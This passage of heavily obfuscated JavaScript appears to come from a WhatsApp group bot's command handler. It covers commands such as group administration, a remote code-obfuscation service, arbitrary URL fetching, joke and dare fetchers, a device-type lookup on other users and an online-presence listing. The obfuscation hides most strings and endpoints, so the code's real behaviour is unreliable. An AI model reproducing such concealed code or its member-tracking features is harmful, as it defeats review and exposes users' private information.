_0x4accf0(0x608):{if(!_0x13a9d2)return _0x218677(mess['only'][_0x4accf0(0x39a)]);if(!_0x5a6cac&&!_0x37b1f2)return _0x218677(mess['only'][_0x4accf0(0x4bb)]);if(!_0x2f0db6)return _0x218677(_0x4accf0(0x3f7));await _0x2cabfc();if(_0x2f0db6=='on'){if(_0x1bf72b[_0x4accf0(0x608)]==!![])return _0x218677(_0x4accf0(0x186));db[_0x4accf0(0x5d7)][_0x4accf0(0x567)][_0x499c38][_0x4accf0(0x608)]=!![],_0x218677('successfully\x20activated\x20welcome\x20in\x20this\x20group');}else{if(_0x2f0db6=='off'){if(_0x1bf72b[_0x4accf0(0x608)]==![])return _0x218677(_0x4accf0(0x3c1));db[_0x4accf0(0x5d7)][_0x4accf0(0x567)][_0x499c38][_0x4accf0(0x608)]=![],_0x218677(_0x4accf0(0x62e));}else _0x218677('Choose\x20\x22on\x22\x20or\x20\x22off\x22');}}break;case _0x4accf0(0x1fd):case'obfuscate':case'hard-encrypt':{if(!_0x3ebfc6)return _0x218677(_0x4accf0(0x1c2)+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x500));await _0x2cabfc();try{const _0x556e4c='https://api-xx-xi.hf.space/api/obf?code='+encodeURIComponent(_0x3ebfc6),_0x324cca=await fetch(_0x556e4c);if(!_0x324cca['ok'])return console[_0x4accf0(0x179)](_0x4accf0(0x2c8)+_0x324cca[_0x4accf0(0x2cd)]+'\x20'+_0x324cca[_0x4accf0(0x4e9)]),_0x218677(_0x4accf0(0x252));const _0x29cd97=await _0x324cca[_0x4accf0(0x1f0)]();if(_0x29cd97[_0x4accf0(0x2cd)]!==0xc8||!_0x29cd97[_0x4accf0(0x5d3)])return console[_0x4accf0(0x179)](_0x4accf0(0x5de)+JSON[_0x4accf0(0x3e7)](_0x29cd97)),_0x218677(_0x4accf0(0x60c));const _0x4cbc38=_0x29cd97['obfuscatedCode'],_0x1795ef=_0x4accf0(0x170),_0x58bcaf=require('fs');_0x58bcaf['writeFileSync'](_0x1795ef,_0x4cbc38,_0x4accf0(0x4b1)),await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'document':{'url':_0x1795ef},'mimetype':_0x4accf0(0x3d5),'fileName':_0x4accf0(0x512),'caption':_0x2d8b27('>\x20'+caption)},{'quoted':_0x5c5597}),_0x58bcaf[_0x4accf0(0x281)](_0x1795ef);}catch(_0x52b923){console[_0x4accf0(0x179)]('Error\x20in\x20obfuscate\x20case:',_0x52b923[_0x4accf0(0x4e9)]||_0x52b923),_0x218677(_0x4accf0(0x35b));}break;}case _0x4accf0(0x528):case _0x4accf0(0x45c):case _0x4accf0(0x3a2):{if(!_0x5c5597[_0x4accf0(0x458)])return _0x218677(_0x4accf0(0x2ef)+(_0xad3cd8+_0x3b6cc3)+'*\x20to\x20get\x20device\x20information.');try{await _0x2cabfc();const _0x4b31e3=await _0x363136(_0x5c5597[_0x4accf0(0x458)]['id']||_0x5c5597[_0x4accf0(0x19c)]['id']);if(!_0x4b31e3)return _0x218677(_0x4accf0(0x1cb));await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x2d8b27(_0x4accf0(0x3b2)+_0x4b31e3+'*')},{'quoted':_0x5c5597});}catch(_0xf7b4e9){_0x218677(_0x4accf0(0x406));}break;}case'html':{if(!_0x2f0db6)return _0x218677('Please\x20provide\x20a\x20valid\x20link\x20to\x20fetch.');const _0x5e4723=_0x2ba13b=>{try{return new URL(_0x2ba13b),!![];}catch(_0x4bea71){return![];}};if(!_0x5e4723(_0x2f0db6))return _0x218677(_0x4accf0(0x50d));try{await _0x2cabfc();const _0x924775=await fetch(_0x2f0db6);if(!_0x924775['ok'])return _0x218677(_0x4accf0(0x3fc)+_0x924775[_0x4accf0(0x2cd)]);const _0x82586d=await _0x924775[_0x4accf0(0x17b)](),_0x4b8441=_0x4accf0(0x4b2);await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'document':Buffer[_0x4accf0(0x2d6)](_0x82586d,_0x4accf0(0x575)),'mimetype':_0x4accf0(0x4eb),'fileName':_0x4b8441,'caption':'๐\x20*Fetched\x20HTML\x20Page*\x0a๐\x20*URL:*\x20'+_0x2f0db6});}catch(_0x23892b){console[_0x4accf0(0x179)](_0x4accf0(0x3de),_0x23892b),_0x218677(_0x4accf0(0x22d));}break;}case _0x4accf0(0x5e9):{if(!_0x2f0db6)return _0x218677(_0x4accf0(0x1ca));const _0x3c3c07=_0x1c0f71=>{try{return new URL(_0x1c0f71),!![];}catch(_0x3bd761){return![];}};if(!_0x3c3c07(_0x2f0db6))return _0x218677(_0x4accf0(0x50d));try{await _0x2cabfc();const _0x5eb5b1=await fetch(_0x2f0db6);if(!_0x5eb5b1['ok'])return _0x218677(_0x4accf0(0x5d6)+_0x5eb5b1[_0x4accf0(0x2cd)]);const _0x30233d=await _0x5eb5b1[_0x4accf0(0x17b)](),_0x581498=0xaae60,_0xb18927=_0x30233d[_0x4accf0(0x2e7)]>_0x581498?_0x30233d[_0x4accf0(0x256)](0x0,_0x581498)+('\x0a\x0a*Output\x20truncated.\x20Full\x20content\x20exceeds\x20'+_0x581498+_0x4accf0(0x2a6)):_0x30233d;_0x3508ec(''+_0xb18927);}catch(_0x3c1b03){console[_0x4accf0(0x179)](_0x4accf0(0x3de),_0x3c1b03),_0x218677(_0x4accf0(0x199));}break;}case _0x4accf0(0x5e4):{if(!_0x2f0db6)return _0x218677('`No\x20link\x20detected`\x0aExample:\x20*'+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x514));await _0x2cabfc();try{let _0x44a824=_0x2f0db6['trim'](),_0x55b1fb=await fetch(_0x44a824,{'method':_0x4accf0(0x350)});if(!_0x55b1fb['ok'])return _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x4accf0(0x605)+_0x55b1fb[_0x4accf0(0x2cd)]});let _0x330205=_0x55b1fb['headers'][_0x4accf0(0x5e9)](_0x4accf0(0x3ca))||'',_0x27df0c=_0x44a824['split']('/')[_0x4accf0(0x2a4)]()[_0x4accf0(0x5a5)]('?')[0x0],_0x21fddf={'caption':_0x4accf0(0x55b)+_0x27df0c};if(_0x330205[_0x4accf0(0x455)](_0x4accf0(0x1e8)))_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'image':{'url':_0x44a824},..._0x21fddf});else{if(_0x330205['includes'](_0x4accf0(0x4e2)))_0x4dbacb['sendMessage'](_0x5c5597[_0x4accf0(0x3e8)],{'video':{'url':_0x44a824},..._0x21fddf});else _0x330205[_0x4accf0(0x455)](_0x4accf0(0x169))?_0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'audio':{'url':_0x44a824},'mimetype':_0x4accf0(0x593),..._0x21fddf}):_0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'document':{'url':_0x44a824},'mimetype':_0x330205||_0x4accf0(0x429),'fileName':_0x27df0c,..._0x21fddf});}}catch(_0x3db312){console['error'](_0x4accf0(0x1a3),_0x3db312),_0x4dbacb['sendMessage'](_0x5c5597['chat'],{'text':'โ\x20An\x20error\x20occurred\x20while\x20fetching\x20the\x20content.\x20Please\x20try\x20again\x20later.'});}break;}case _0x4accf0(0x5f6):{const _0x54af50=['๐คข','๐คฎ','๐','๐ซ',_0x4accf0(0x44d),_0x4accf0(0x271),_0x4accf0(0x4a6),'๐คง','๐คข๐คฎ','๐ท',_0x4accf0(0x177),_0x4accf0(0x58f),_0x4accf0(0x4ac),_0x4accf0(0x5a2),'๐ต','๐ค','๐ค','๐คข๐คฎ๐คข',_0x4accf0(0x459),_0x4accf0(0x469)],_0x44a247=await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x2d8b27(_0x54af50[0x0])},{'quoted':_0x5c5597}),_0x1f7c37=async(_0x3513ea=0x1)=>{const _0x1846e2=_0x4accf0;_0x3513ea<_0x54af50[_0x1846e2(0x2e7)]&&(await _0x4dbacb[_0x1846e2(0x17c)](_0x5c5597[_0x1846e2(0x3e8)],{'protocolMessage':{'key':_0x44a247['key'],'type':0xe,'editedMessage':{'conversation':_0x2d8b27(_0x54af50[_0x3513ea])}}},{}),setTimeout(()=>_0x1f7c37(_0x3513ea+0x1),0x3e8));};setTimeout(()=>_0x1f7c37(),0x3e8);break;}case _0x4accf0(0x33b):{const _0x1ff19d=['โฅ๏ธ','โฃ๏ธ','๐','๐','๐','๐','๐','๐','๐',_0x4accf0(0x1ab),'โค๏ธ','๐งก','๐','๐','๐','๐','๐ค','๐ค','๐ค','๐','๐ซ','๐','๐','๐','๐','๐','๐','๐','๐'],_0x303e12=await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'text':_0x1ff19d[0x0]},{'quoted':_0x5c5597}),_0x2fcd5c=async(_0x361470=0x1)=>{const _0x19348c=_0x4accf0;_0x361470<_0x1ff19d[_0x19348c(0x2e7)]&&(await _0x4dbacb[_0x19348c(0x17c)](_0x5c5597[_0x19348c(0x3e8)],{'protocolMessage':{'key':_0x303e12[_0x19348c(0x19c)],'type':0xe,'editedMessage':{'conversation':_0x1ff19d[_0x361470]}}},{}),setTimeout(()=>_0x2fcd5c(_0x361470+0x1),0x3e8));};setTimeout(()=>_0x2fcd5c(),0x3e8);break;}case'confuse':case _0x4accf0(0x358):{const _0x74032e=['๐','๐ค','๐ต',_0x4accf0(0x4a6),'๐คท',_0x4accf0(0x1aa),_0x4accf0(0x3cc),_0x4accf0(0x371),'๐','๐คจ','๐','๐ฌ','๐ฏ','๐','๐','๐ณ','๐คช','๐คฏ'],_0x1054df=await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x74032e[0x0]},{'quoted':_0x5c5597}),_0x398faa=async(_0x30de3f=0x1)=>{const _0x1e4937=_0x4accf0;_0x30de3f<_0x74032e[_0x1e4937(0x2e7)]&&(await _0x4dbacb[_0x1e4937(0x17c)](_0x5c5597[_0x1e4937(0x3e8)],{'protocolMessage':{'key':_0x1054df[_0x1e4937(0x19c)],'type':0xe,'editedMessage':{'conversation':_0x74032e[_0x30de3f]}}},{}),setTimeout(()=>_0x398faa(_0x30de3f+0x1),0x3e8));};setTimeout(()=>_0x398faa(),0x3e8);break;}case _0x4accf0(0x2cb):case'gtf':{const _0x39cca2=['๐ก','๐ ','๐คฌ','๐ฟ','๐ข','๐ฅ','๐พ','๐ค','๐คฏ','๐ฅ','๐พ','๐บ','๐',_0x4accf0(0x4ed),'๐','๐','๐ฅต','๐งจ','๐น','๐ฃ','๐ ','๐','๐ฅ','๐ก','๐คฌ','๐ฅ',_0x4accf0(0x476)],_0x14c63c=await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x39cca2[0x0]},{'quoted':_0x5c5597}),_0x2204de=async(_0x39a050=0x1)=>{const _0x5936ce=_0x4accf0;_0x39a050<_0x39cca2[_0x5936ce(0x2e7)]&&(await _0x4dbacb[_0x5936ce(0x17c)](_0x5c5597['chat'],{'protocolMessage':{'key':_0x14c63c[_0x5936ce(0x19c)],'type':0xe,'editedMessage':{'conversation':_0x39cca2[_0x39a050]}}},{}),setTimeout(()=>_0x2204de(_0x39a050+0x1),0x3e8));};setTimeout(()=>_0x2204de(),0x3e8);break;}case _0x4accf0(0x175):{await _0x2cabfc();try{let _0x43f165=await fetch(_0x4accf0(0x2f4)),_0x95cba2=await _0x43f165[_0x4accf0(0x1f0)]();if(!_0x95cba2[_0x4accf0(0x5d3)])return _0x218677(_0x2d8b27('Failed\x20to\x20fetch\x20a\x20flirt\x20line.\x20Please\x20try\x20again\x20later.'));let {flirt:_0x2bfe12}=_0x95cba2;_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x2d8b27(_0x4accf0(0x37b)+_0x2bfe12+_0x4accf0(0x562)+caption)});}catch(_0x37084f){console[_0x4accf0(0x179)](_0x4accf0(0x27e),_0x37084f),_0x218677(_0x2d8b27('An\x20error\x20occurred\x20while\x20fetching\x20the\x20flirt\x20line.\x20Please\x20try\x20again\x20later.'));}break;}case _0x4accf0(0x590):{await _0x2cabfc();try{let _0x3ca3e8=await fetch(_0x4accf0(0x4a1)),_0x4dfc0=await _0x3ca3e8['json']();if(!_0x4dfc0[_0x4accf0(0x5d3)])return _0x218677(_0x2d8b27(_0x4accf0(0x1eb)));let {joke:_0x34a0e4}=_0x4dfc0;_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x2d8b27(_0x4accf0(0x642)+_0x34a0e4+_0x4accf0(0x562)+caption)});}catch(_0x3b7f3d){console[_0x4accf0(0x179)](_0x4accf0(0x5ae),_0x3b7f3d),_0x218677(_0x2d8b27('An\x20error\x20occurred\x20while\x20fetching\x20the\x20joke.\x20Please\x20try\x20again\x20later.'));}break;}case'truth':{await _0x2cabfc();try{let _0x5d08ee=await fetch(_0x4accf0(0x5eb)),_0x933684=await _0x5d08ee['json']();if(!_0x933684[_0x4accf0(0x5d3)])return _0x218677(_0x2d8b27(_0x4accf0(0x641)));let {truth:_0x42df97}=_0x933684;_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x2d8b27(_0x4accf0(0x5c0)+_0x42df97+_0x4accf0(0x562)+caption)});}catch(_0x1f145f){console[_0x4accf0(0x179)](_0x4accf0(0x33e),_0x1f145f),_0x218677(_0x2d8b27(_0x4accf0(0x5b6)));}break;}case _0x4accf0(0x3c5):{await _0x2cabfc();try{let _0x1abd27=await fetch(_0x4accf0(0x359)),_0x124be1=await _0x1abd27[_0x4accf0(0x1f0)]();if(!_0x124be1[_0x4accf0(0x5d3)])return _0x218677(_0x2d8b27(_0x4accf0(0x1bc)));let {dare:_0x2d3469}=_0x124be1;_0x4dbacb['sendMessage'](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x2d8b27(_0x4accf0(0x2a5)+_0x2d3469+_0x4accf0(0x562)+caption)});}catch(_0xe5a6a9){console['error'](_0x4accf0(0x27b),_0xe5a6a9),_0x218677(_0x2d8b27('An\x20error\x20occurred\x20while\x20fetching\x20the\x20dare\x20challenge.\x20Please\x20try\x20again\x20later.'));}break;}case'rizz':case'pickupline':{await _0x2cabfc();try{let _0x2b10dc=await fetch(_0x4accf0(0x242)),_0x21e38c=await _0x2b10dc[_0x4accf0(0x1f0)]();if(!_0x21e38c[_0x4accf0(0x5d3)])return _0x218677(_0x2d8b27(_0x4accf0(0x338)));let {rizz:_0x17561b}=_0x21e38c;_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x2d8b27(_0x4accf0(0x56b)+_0x17561b+_0x4accf0(0x562)+caption)});}catch(_0xdd4019){console[_0x4accf0(0x179)](_0x4accf0(0x1fa),_0xdd4019),_0x218677(_0x2d8b27('An\x20error\x20occurred\x20while\x20fetching\x20the\x20rizz\x20line.\x20Please\x20try\x20again\x20later.'));}break;}case _0x4accf0(0x215):{await _0x2cabfc();try{let _0x500a15=await fetch(_0x4accf0(0x33c)),_0x36b0e5=await _0x500a15[_0x4accf0(0x1f0)]();if(!_0x36b0e5[_0x4accf0(0x5d3)])return _0x218677(_0x2d8b27(_0x4accf0(0x439)));let {Author:_0x50ffb8,quote:_0x31911a}=_0x36b0e5;_0x4dbacb['sendMessage'](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x2d8b27('๐\x20*Quote\x20of\x20the\x20Day*\x0a\x0aโ\x20'+_0x31911a+_0x4accf0(0x57a)+_0x50ffb8+_0x4accf0(0x624)+caption)});}catch(_0x2c1104){console[_0x4accf0(0x179)](_0x4accf0(0x25c),_0x2c1104),_0x218677(_0x2d8b27('An\x20error\x20occurred\x20while\x20fetching\x20the\x20quote.\x20Please\x20try\x20again\x20later.'));}break;}case _0x4accf0(0x365):case'animequote':{await _0x2cabfc();try{let _0x585cf9=_0x4accf0(0x163),_0x7a8e4d=await fetch(_0x585cf9),_0xfcc5f4=await _0x7a8e4d[_0x4accf0(0x1f0)]();if(!_0xfcc5f4[_0x4accf0(0x5d3)])return _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x4accf0(0x48a)});let {author:_0x29fcb2,anime:_0x3ddda1,quote:_0x3b7b10}=_0xfcc5f4;_0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'text':_0x2d8b27(_0x4accf0(0x41b)+_0x3b7b10+_0x4accf0(0x30c)+_0x29fcb2+'\x0a๐บ\x20*Anime:*\x20'+_0x3ddda1+'\x0a>\x20'+caption)},{'quoted':_0x5c5597});}catch(_0x457e91){console[_0x4accf0(0x179)](_0x4accf0(0x321),_0x457e91),_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':'โ\x20An\x20error\x20occurred\x20while\x20fetching\x20the\x20quote.\x20Please\x20try\x20again\x20later.'});}break;}case _0x4accf0(0x3e3):{if(!_0x13a9d2)return _0x218677(mess['only']['group']);if(!_0x65ab0d)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x4bb)]);if(!_0x1afde9)return _0x218677(mess['only'][_0x4accf0(0x3d0)]);await _0x2cabfc();const _0x1d165c=_0x4aa46e[0x0]?.[_0x4accf0(0x5a3)]();if(['on',_0x4accf0(0x444),'1'][_0x4accf0(0x455)](_0x1d165c)){if(_0x3ced89)return _0x218677(_0x4accf0(0x5d4));db[_0x4accf0(0x5d7)][_0x4accf0(0x567)][_0x499c38]['antivirtex']=!![],_0x218677(_0x4accf0(0x52b));}else{if([_0x4accf0(0x426),_0x4accf0(0x565),'0'][_0x4accf0(0x455)](_0x1d165c)){if(!_0x3ced89)return _0x218677('Antivirtex\x20Is\x20Already\x20Disabled!');db[_0x4accf0(0x5d7)]['chats'][_0x499c38][_0x4accf0(0x3e3)]=![],_0x218677(_0x4accf0(0x4f1));}else _0x218677(_0x4accf0(0x3e4)+(_0xad3cd8+_0x3b6cc3)+_0x4accf0(0x18b));}break;}case _0x4accf0(0x415):if(!_0x13a9d2&&!_0x65ab0d)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)]['Badmin']);await _0x2cabfc();let _0x51ba09=_0x5c5597[_0x4accf0(0x3c7)][0x0]?_0x5c5597[_0x4accf0(0x3c7)][0x0]:_0x5c5597[_0x4accf0(0x458)]?_0x5c5597[_0x4accf0(0x458)][_0x4accf0(0x1b3)]:_0x2f0db6[_0x4accf0(0x289)](/[^0-9]/g,'')+_0x4accf0(0x5b3);await _0x4dbacb[_0x4accf0(0x4cf)](_0x5c5597[_0x4accf0(0x3e8)],[_0x51ba09],_0x4accf0(0x415)),_0x218677(mess['success']);break;case _0x4accf0(0x153):if(!_0x13a9d2&&!_0x65ab0d)return _0x218677(mess['only'][_0x4accf0(0x39a)]);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)]['Badmin']);await _0x2cabfc();let _0x10fadd=_0x5c5597[_0x4accf0(0x3c7)][0x0]?_0x5c5597[_0x4accf0(0x3c7)][0x0]:_0x5c5597[_0x4accf0(0x458)]?_0x5c5597[_0x4accf0(0x458)]['sender']:_0x2f0db6[_0x4accf0(0x289)](/[^0-9]/g,'')+_0x4accf0(0x5b3);await _0x4dbacb[_0x4accf0(0x4cf)](_0x5c5597[_0x4accf0(0x3e8)],[_0x10fadd],_0x4accf0(0x153)),_0x218677(mess[_0x4accf0(0x5d3)]);break;case _0x4accf0(0x246):{if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);if(!_0x65ab0d)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x4bb)]);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x3d0)]);let _0x3e35a6=await _0x4dbacb[_0x4accf0(0x63e)](_0x499c38);_0x4dbacb[_0x4accf0(0x47e)](_0x499c38,'https://chat.whatsapp.com/'+_0x3e35a6+'\x0a\x0a'+themeemoji+_0x4accf0(0x35f)+_0x58b74c[_0x4accf0(0x430)]+'*',_0x5c5597,{'detectLink':!![]});}break;case _0x4accf0(0x400):if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);if(!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x2b0)]);await _0x2cabfc(),await _0x4dbacb[_0x4accf0(0x3a1)](_0x499c38);break;case _0x4accf0(0x5ad):{if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);if(!_0x5a6cac&&!_0x37b1f2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x4bb)]);let _0x4f9e43=_0x4aa46e&&/\d+-\d+@g.us/[_0x4accf0(0x17d)](_0x4aa46e[0x0])?_0x4aa46e[0x0]:_0x499c38,_0xb100be=[...Object['keys'](_0x36dd22['presences'][_0x4f9e43]),_0x30aee7],_0x4f97cd='List\x20Online:\x0a\x0a'+_0xb100be[_0x4accf0(0x57b)](_0x454900=>themeemoji+'\x20@'+_0x454900[_0x4accf0(0x289)](/@.+/,''))['join']('\x0a');await _0x4dbacb[_0x4accf0(0x47e)](_0x499c38,_0x4f97cd,_0x5c5597,{'mentions':_0xb100be});}break;case _0x4accf0(0x402):{if(!_0x13a9d2)return _0x218677(mess['only'][_0x4accf0(0x39a)]);if(!_0x65ab0d)return _0x218677(mess['only']['admin']);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x3d0)]);if(_0x4aa46e[0x1]=='seconds')var _0x2bd4d0=_0x4aa46e[0x0]*_0x4accf0(0x484);else{if(_0x4aa46e[0x1]==_0x4accf0(0x2b7))var _0x2bd4d0=_0x4aa46e[0x0]*'60000';else{if(_0x4aa46e[0x1]=='hours')var _0x2bd4d0=_0x4aa46e[0x0]*_0x4accf0(0x36e);else{if(_0x4aa46e[0x1]==_0x4accf0(0x3ac))var _0x2bd4d0=_0x4aa46e[0x0]*_0x4accf0(0x29c);else return _0x218677(_0x4accf0(0x409));}}}_0x218677(_0x4accf0(0x158)+_0x2f0db6+_0x4accf0(0x315)),setTimeout(()=>{const _0x845718=_0x4accf0,_0x395e7c=_0x2d8b27(_0x845718(0x18a)+caption);_0x4dbacb[_0x845718(0x40c)](_0x499c38,'not_announcement'),_0x218677(_0x395e7c);},_0x2bd4d0);break;}case'closetime':{if(!_0x13a9d2)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x39a)]);if(!_0x65ab0d)return _0x218677(mess['only'][_0x4accf0(0x4bb)]);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x3d0)]);if(_0x4aa46e[0x1]==_0x4accf0(0x225))var _0x2bd4d0=_0x4aa46e[0x0]*_0x4accf0(0x484);else{if(_0x4aa46e[0x1]==_0x4accf0(0x2b7))var _0x2bd4d0=_0x4aa46e[0x0]*_0x4accf0(0x49e);else{if(_0x4aa46e[0x1]==_0x4accf0(0x615))var _0x2bd4d0=_0x4aa46e[0x0]*_0x4accf0(0x36e);else{if(_0x4aa46e[0x1]==_0x4accf0(0x3ac))var _0x2bd4d0=_0x4aa46e[0x0]*_0x4accf0(0x29c);else return _0x218677(_0x4accf0(0x45a)+_0xad3cd8+_0x4accf0(0x64f));}}}let _0x4f673b=await _0x4dbacb[_0x4accf0(0x367)](_0x499c38,{'text':_0x4accf0(0x467)+_0x2f0db6+_0x4accf0(0x315)},{'quoted':_0x5c5597});setTimeout(()=>deleteMessage(_0x4f673b),0x1388),setTimeout(()=>{const _0x35ba16=_0x4accf0,_0x499648=_0x2d8b27('*On\x20time*:\x20The\x20group\x20is\x20now\x20closed\x20by\x20an\x20admin\x0aOnly\x20admins\x20can\x20send\x20messages\x0a>\x20'+caption);_0x4dbacb[_0x35ba16(0x40c)](_0x499c38,_0x35ba16(0x44e)),_0x218677(_0x499648);},_0x2bd4d0);}break;case'tagadmin':case _0x4accf0(0x508):{if(!_0x5c5597[_0x4accf0(0x237)])return _0x218677(mess[_0x4accf0(0x3ed)]['group']);const _0x4e74f2=_0x6e7831[_0x4accf0(0x58b)](_0x504b7b=>_0x504b7b[_0x4accf0(0x4bb)]),_0x2a92b2=_0x4e74f2[_0x4accf0(0x57b)]((_0x34eecd,_0x13b5a1)=>_0x13b5a1+0x1+'.\x20@'+_0x34eecd['id'][_0x4accf0(0x5a5)]('@')[0x0])[_0x4accf0(0x2ba)]('\x0a'),_0x29d109=_0x58b74c[_0x4accf0(0x2b0)]||_0x4e74f2[_0x4accf0(0x5cd)](_0x4dfd31=>_0x4dfd31[_0x4accf0(0x4bb)]===_0x4accf0(0x646))?.['id']||_0x5c5597[_0x4accf0(0x3e8)][_0x4accf0(0x5a5)]`-`[0x0]+_0x4accf0(0x5b3);let _0x4199ba=_0x2d8b27((_0x4accf0(0x5cf)+_0x2a92b2+'\x0a')[_0x4accf0(0x2e9)]());_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'text':_0x4199ba,'mentions':[..._0x4e74f2[_0x4accf0(0x57b)](_0x1e08ea=>_0x1e08ea['id']),_0x29d109]},{'quoted':_0x5c5597});}break;case'setnamegc':case'setgcname':{if(!_0x13a9d2)return _0x218677(mess['only'][_0x4accf0(0x39a)]);if(!_0x65ab0d)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x4bb)]);if(!_0x1afde9)return _0x218677(mess[_0x4accf0(0x3ed)][_0x4accf0(0x3d0)]);if(!_0x2f0db6||_0x2f0db6[_0x4accf0(0x2e9)]()[_0x4accf0(0x2e7)]===0x0)return _0x218677(_0x4accf0(0x3d3)+_0x3b6cc3+_0x4accf0(0x5fa));await _0x4dbacb[_0x4accf0(0x420)](_0x499c38,_0x2f0db6)[_0x4accf0(0x583)](()=>{_0x218677(mess['success']);})['catch'](()=>{const _0x2f64f7=_0x4accf0;_0x218677(mess[_0x2f64f7(0x179)][_0x2f64f7(0x18f)]);});break;}case'animedl':{if(!_0x2f0db6[_0x4accf0(0x455)]('|'))return _0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'text':_0x4accf0(0x2c1)+(_0xad3cd8+_0x3b6cc3)+'\x20solo\x20leveling|1*'});await _0x2cabfc();try{let [_0x480c6b,_0xe5b5cb]=_0x2f0db6[_0x4accf0(0x5a5)]('|')[_0x4accf0(0x57b)](_0x5de03f=>_0x5de03f['trim']()),_0x3dbd55='https://api-xx-xi.hf.space/api/animedl?name='+encodeURIComponent(_0x480c6b)+'&episode='+encodeURIComponent(_0xe5b5cb),_0x36e066=await fetch(_0x3dbd55),_0xedaf4=await _0x36e066[_0x4accf0(0x1f0)]();if(!_0xedaf4[_0x4accf0(0x5d3)]||!_0xedaf4[_0x4accf0(0x541)]['length'])return _0x4dbacb[_0x4accf0(0x367)](_0x5c5597['chat'],{'text':_0x4accf0(0x2e0)+_0x480c6b+_0x4accf0(0x4c6)+_0xe5b5cb+'*'});function _0x41a745(_0x970bc){const _0x598e36=_0x4accf0;let _0x4a896a=_0x970bc[_0x598e36(0x4d2)](/([\d.]+)\s*(MB|GB)/i);if(!_0x4a896a)return Infinity;let _0x281351=parseFloat(_0x4a896a[0x1]);return _0x4a896a[0x2][_0x598e36(0x5a3)]()==='gb'?_0x281351*0x400:_0x281351;}let _0x1e9027=_0xedaf4[_0x4accf0(0x541)][_0x4accf0(0x20f)]((_0x24a1a,_0x2e52f3)=>{const _0x443d6b=_0x4accf0;return Math[_0x443d6b(0x51b)](_0x41a745(_0x2e52f3[_0x443d6b(0x2df)])-0x64)